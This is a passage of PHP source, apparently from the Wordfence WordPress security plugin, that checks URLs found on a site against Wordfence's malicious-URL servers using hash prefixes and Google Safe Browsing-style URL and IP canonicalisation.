					$this->dbg($this->errorMsg);
					return false;
				}
				while ($row = $result->fetch_assoc()) {
					$allHostKeys .= $row['hostKey'];
				}
			}
			else {
				$q1 = $this->db->querySelect("SELECT DISTINCT hostKey FROM {$this->table} ORDER BY hostKey ASC LIMIT 100000"); /* We limit to 100,000 prefixes since more than that cannot be reliably checked within the default max_execution_time */
				foreach ($q1 as $hRec) {
					$allHostKeys .= $hRec['hostKey'];
				}
			}
		}
		else {
			$allHostKeys = implode('', array_values(array_unique($this->hostKeys)));
		}
		
		/**
		 * Check hash prefixes first. Each one is a 4-byte binary prefix of a SHA-256 hash of the URL. The response will
		 * be a binary list of 4-byte indices; The full URL for each index should be sent in the secondary query to
		 * find the true good/bad status.
		 */
		
		$allCount = wfUtils::strlen($allHostKeys) / 4;
		if ($allCount > 0) {
			if ($this->debug) {
				$this->dbg("Checking {$allCount} hostkeys");
				for ($i = 0; $i < $allCount; $i++) {
					$key = wfUtils::substr($allHostKeys, $i * 4, 4);
					$this->dbg("Checking hostkey: " . bin2hex($key));
				}
			}
			
			wordfence::status(2, 'info', sprintf(/* translators: Number of domains. */ __("Checking %d host keys against Wordfence scanning servers.", 'wordfence'), $allCount));
			$resp = $this->api->binCall('check_host_keys', $allHostKeys);
			wordfence::status(2, 'info', __("Done host key check.", 'wordfence'));
			$this->dbg("Done host key check");

			$badHostKeys = '';
			if ($resp['code'] >= 200 && $resp['code'] <= 299) {
				$this->dbg("Host key response: " . bin2hex($resp['data']));
				$dataLen = wfUtils::strlen($resp['data']);
				if ($dataLen > 0 && $dataLen % 2 == 0) {
					$this->dbg("Checking response indexes");
					for ($i = 0; $i < $dataLen; $i += 2) {
						$idx = wfUtils::array_first(unpack('n', wfUtils::substr($resp['data'], $i, 2)));
						$this->dbg("Checking index {$idx}");
						if ($idx < $allCount) {
							$prefix = wfUtils::substr($allHostKeys, $idx * 4, 4);
							$badHostKeys .= $prefix;
							$this->dbg("Got bad hostkey for record: " . bin2hex($prefix));
						}
						else {
							$this->dbg("Bad allHostKeys index: {$idx}");
							$this->errorMsg = "Bad allHostKeys index: {$idx}";
							return false;
						}
					}
				}
				else if ($dataLen > 0) {
					$this->errorMsg = "Invalid data length received from Wordfence server: " . $dataLen;
					$this->dbg($this->errorMsg);
					return false;
				}
			}
			else {
				$this->errorMsg = "Wordfence server responded with an error. HTTP code " . $resp['code'] . " and data: " . $resp['data'];
				return false;
			}
			
			$badCount = wfUtils::strlen($badHostKeys) / 4;
			if ($badCount > 0) {
				$urlsToCheck = array();
				$totalURLs = 0;
				
				//Reconcile flagged prefixes with their corresponding URLs
				for ($i = 0; $i < $badCount; $i++) {
					$prefix = wfUtils::substr($badHostKeys, $i * 4, 4);
					
					if ($this->useDB) {
						/**
						 * Putting a 10000 limit in here for sites that have a huge number of items with the same URL 
						 * that repeats. This is an edge case. But if the URLs are malicious then presumably the admin 
						 * will fix the malicious URLs and on subsequent scans the items (owners) that are above the 
						 * 10000 limit will appear.
						 */
						$q1 = $this->db->querySelect("SELECT DISTINCT owner, host, path FROM {$this->table} WHERE hostKey = %s LIMIT 10000", $prefix);
						foreach ($q1 as $rec) {
							$url = 'http://' . $rec['host'] . $rec['path'];
							if (!isset($urlsToCheck[$rec['owner']])) {
								$urlsToCheck[$rec['owner']] = array();
							}
							if (!in_array($url, $urlsToCheck[$rec['owner']])) {
								$urlsToCheck[$rec['owner']][] = $url;
								$totalURLs++;
							}
						}
					}
					else {
						foreach ($this->hostList as $rec) {
							$pos = wfUtils::strpos($rec['hostKey'], $prefix);
							if ($pos !== false && $pos % 4 == 0) {
								$url = 'http://' . $rec['host'] . $rec['path'];
								if (!isset($urlsToCheck[$rec['owner']])) {
									$urlsToCheck[$rec['owner']] = array();
								}
								if (!in_array($url, $urlsToCheck[$rec['owner']])) {
									$urlsToCheck[$rec['owner']][] = $url;
									$totalURLs++;
								}
							}
						}
					}
					if ($totalURLs > 10000) { break; }
				}

				if (count($urlsToCheck) > 0) {
					wordfence::status(2, 'info', sprintf(
						/* translators: 1. Number of URLs. 2. Number of files. */
						__('Checking %1$d URLs from %2$d sources.', 'wordfence'),
						$totalURLs,
						sizeof($urlsToCheck)
					));
					$badURLs = $this->api->call('check_bad_urls', array(), array('toCheck' => json_encode($urlsToCheck)));
					wordfence::status(2, 'info', __("Done URL check.", 'wordfence'));
					$this->dbg("Done URL check");
					if (is_array($badURLs) && count($badURLs) > 0) {
						$finalResults = array();
						foreach ($badURLs as $file => $badSiteList) {
							if (!isset($finalResults[$file])) {
								$finalResults[$file] = array();
							}
							foreach ($badSiteList as $badSite) {
								$finalResults[$file][] = array(
									'URL' => $badSite[0],
									'badList' => $badSite[1]
									);
							}
						}
						$this->dbg("Confirmed " . count($badURLs) . " bad URLs");
						return $finalResults;
					}
				}
			}
		}
		
		return array();
	}
	
	protected function _generateHashes($url) {
		//The GSB specification requires generating and sending hash prefixes for a number of additional similar URLs. See: https://developers.google.com/safe-browsing/v4/urls-hashing#suffixprefix-expressions
		
		$canonicalURL = $this->_canonicalizeURL($url);
		
		//Extract the scheme
		$scheme = 'http';
		if (preg_match('~^([a-z]+[a-z0-9+\.\-]*)://(.*)$~i', $canonicalURL, $matches)) {
			$scheme = strtolower($matches[1]);
			$canonicalURL = $matches[2];
		}
		
		//Separate URL and query string
		$query = '';
		if (preg_match('/^([^?]+)(\??.*)/', $canonicalURL, $matches)) {
			$canonicalURL = $matches[1];
			$query = $matches[2];
		}
		
		//Separate host and path
		$path = '';
		preg_match('~^(.*?)(?:(/.*)|$)~', $canonicalURL, $matches);
		$host = $matches[1];
		if (isset($matches[2])) {
			$path = $matches[2];
		}
		
		//Clean host
		$host = $this->_normalizeHost($host);
		
		//Generate hosts list
		$hosts = array();
		if (filter_var(trim($host, '[]'), FILTER_VALIDATE_IP)) {
			$hosts[] = $host;
		}
		else {
			$hostComponents = explode('.', $host);
			
			$numComponents = count($hostComponents) - 7;
			if ($numComponents < 1) {
				$numComponents = 1;
			}
			
			$hosts[] = $host;
			for ($i = $numComponents; $i < count($hostComponents) - 1; $i++) {
				$hosts[] = implode('.', array_slice($hostComponents, $i));
			}
		}
		
		//Generate paths list
		$paths = array('/');
		$pathComponents = array_filter(explode('/', $path));
		
		$numComponents = min(count($pathComponents), 4);
		for ($i = 1; $i < $numComponents; $i++) {
			$paths[] = '/' . implode('/', array_slice($pathComponents, 0, $i)) . '/';
		}
		if ($path != '/') {
			$paths[] = $path;
		}
		if (strlen($query) > 0) {
			$paths[] = $path . '?' . $query;
		}
		$paths = array_reverse($paths); //So we start at the most specific and move to most generic
		
		//Generate hashes
		$hashes = array();
		foreach ($hosts as $h) {
			$hashes[$h] = hash('sha256', $h, true); //WFSB compatibility -- it uses hashes without the path
			foreach ($paths as $p) {
				$key = $h . $p;
				$hashes[$key] = hash('sha256', $key, true);
				break; //We no longer have any use for the extra path variants, so just include the primary one and exit the loop after
			}
		}
		
		return $hashes;
	}
	
	protected function _canonicalizeURL($url) { //Based on https://developers.google.com/safe-browsing/v4/urls-hashing#canonicalization and Google's reference implementation https://github.com/google/safebrowsing/blob/master/urls.go
		//Strip fragment
		$url = $this->_array_first(explode('#', $url));
		
		//Trim space
		$url = trim($url);
		
		//Remove tabs, CR, LF
		$url = preg_replace('/[\t\n\r]/', '', $url);
		
		//Normalize escapes
		$url = $this->_normalizeEscape($url);
		if ($url === false) { return false; }
		
		//Extract the scheme
		$scheme = 'http';
		if (preg_match('~^([a-z]+[a-z0-9+\.\-]*)://(.*)$~i', $url, $matches)) {
			$scheme = strtolower($matches[1]);
			$url = $matches[2];
		}
		
		//Separate URL and query string
		$query = '';
		if (preg_match('/^([^?]+)(\??.*)/', $url, $matches)) {
			$url = $matches[1];
			$query = $matches[2];
		}
		$endsWithSlash = substr($url, -1) == '/';
		
		//Separate host and path
		$path = '';
		preg_match('~^(.*?)(?:(/.*)|$)~', $url, $matches);
		$host = $matches[1];
		if (isset($matches[2])) {
			$path = $matches[2];
		}
		
		//Clean host
		$host = $this->_normalizeHost($host);
		if ($host === false) { return false; }
		
		//Clean path
		$path = preg_replace('~//+~', '/', $path); //Multiple slashes -> single slash
		$path = preg_replace('~(?:^|/)\.(?:$|/)~', '/', $path); //. path components removed
		while (preg_match('~/(?!\.\./)[^/]+/\.\.(?:$|/)~', $path)) { //Resolve ..
			$path = preg_replace('~/(?!\.\./)[^/]+/\.\.(?:$|/)~', '/', $path, 1);
		}
		$path = preg_replace('~(?:^|/)\.\.(?:$|/)~', '/', $path); //Eliminate .. at the beginning
		$path = trim($path, '.');
		$path = preg_replace('/\.\.+/', '.', $path);
		
		if ($path == '.' || $path == '') {
			$path = '/';
		}
		else if ($endsWithSlash && substr($path, -1) != '/') {
			$path .= '/';
		}
		
		return $scheme . '://' . $host . $path . $query;
	}
	
	protected function _normalizeEscape($url) {
		$maxDepth = 1024;
		$i = 0;
		while (preg_match('/%([0-9a-f]{2})/i', $url)) {
			$url = preg_replace_callback('/%([0-9a-f]{2})/i', array($this, '_hex2binCallback'), $url);
			$i++;
			
			if ($i > $maxDepth) {
				return false;
			}
		}
		
		return preg_replace_callback('/[\x00-\x20\x7f-\xff#%]/', array($this, '_bin2hexCallback'), $url);
	}
	
	protected function _hex2binCallback($matches) {
		return wfUtils::hex2bin($matches[1]);
	}

	protected function _bin2hexCallback($matches) {
		return '%' . bin2hex($matches[0]);	
	}
	
	protected function _normalizeHost($host) {
		//Strip username:password
		$host = $this->_array_last(explode('@', $host));
		
		//IPv6 literal
		if (substr($host, 0, 1) == '[') {
			if (strpos($host, ']') === false) { //No closing bracket
				return false;
			}
		}
		
		//Strip port
		$host = preg_replace('/:\d+$/', '', $host);
		
		//Unicode to IDNA
		$u = rawurldecode($host);
		if (preg_match('/[\x81-\xff]/', $u)) { //0x80 is technically Unicode, but the GSB canonicalization doesn't consider it one
			if (function_exists('idn_to_ascii')) { //Some PHP versions don't have this and we don't have a polyfill
				$host = idn_to_ascii($u);
			}
		}
		
		//Remove extra dots
		$host = trim($host, '.');
		$host = preg_replace('/\.\.+/', '.', $host);
		
		//Canonicalize IP addresses
		if ($iphost = $this->_parseIP($host)) {
			return $iphost;
		}
		
		return strtolower($host);
	}
	
	protected function _parseIP($host) {
		// The Windows resolver allows a 4-part dotted decimal IP address to have a
		// space followed by any old rubbish, so long as the total length of the
		// string doesn't get above 15 characters. So, "10.192.95.89 xy" is
		// resolved to 10.192.95.89. If the string length is greater than 15
		// characters, e.g. "10.192.95.89 xy.wildcard.example.com", it will be
		// resolved through DNS.
		if (strlen($host) <= 15) {
			$host = $this->_array_first(explode(' ', $host));
		}
		
		if (!preg_match('/^((?:0x[0-9a-f]+|[0-9\.])+)$/i', $host)) {
			return false;
		}
		
		$parts = explode('.', $host);
		if (count($parts) > 4) {
			return false;
		}
		
		$strings = array();
		foreach ($parts as $i => $p) {
			if ($i == count($parts) - 1) {
				$strings[] = $this->_canonicalNum($p, 5 - count($parts));
			}
			else {
				$strings[] = $this->_canonicalNum($p, 1);
			}
			
			if ($strings[$i] == '') {
				return '';
			}
		}
		
		return implode('.', $strings);
	}
	
	protected function _canonicalNum($part, $n) {
		if ($n <= 0 || $n > 4) {
			return '';
		}
		
		if (preg_match('/^0x(\d+)$/i', $part, $matches)) { //hex
			$part = hexdec($matches[1]);
		}
		else if (preg_match('/^0(\d+)$/i', $part, $matches)) { //octal
			$part = octdec($matches[1]);
		}
		else {
			$part = (int) $part;
		}
		
		$strings = array_fill(0, $n, '');
		for ($i = $n - 1; $i >= 0; $i--) {
			$strings[$i] = (string) ($part & 0xff);
			$part = $part >> 8;
		}
		return implode('.', $strings);
	}
	
	protected function _array_first($array) {
		if (empty($array)) {
			return null;
		}
		
		return $array[0];
	}
	
	protected function _array_last($array) {
		if (empty($array)) {
			return null;
		}
		
		return $array[count($array) - 1];
	}
}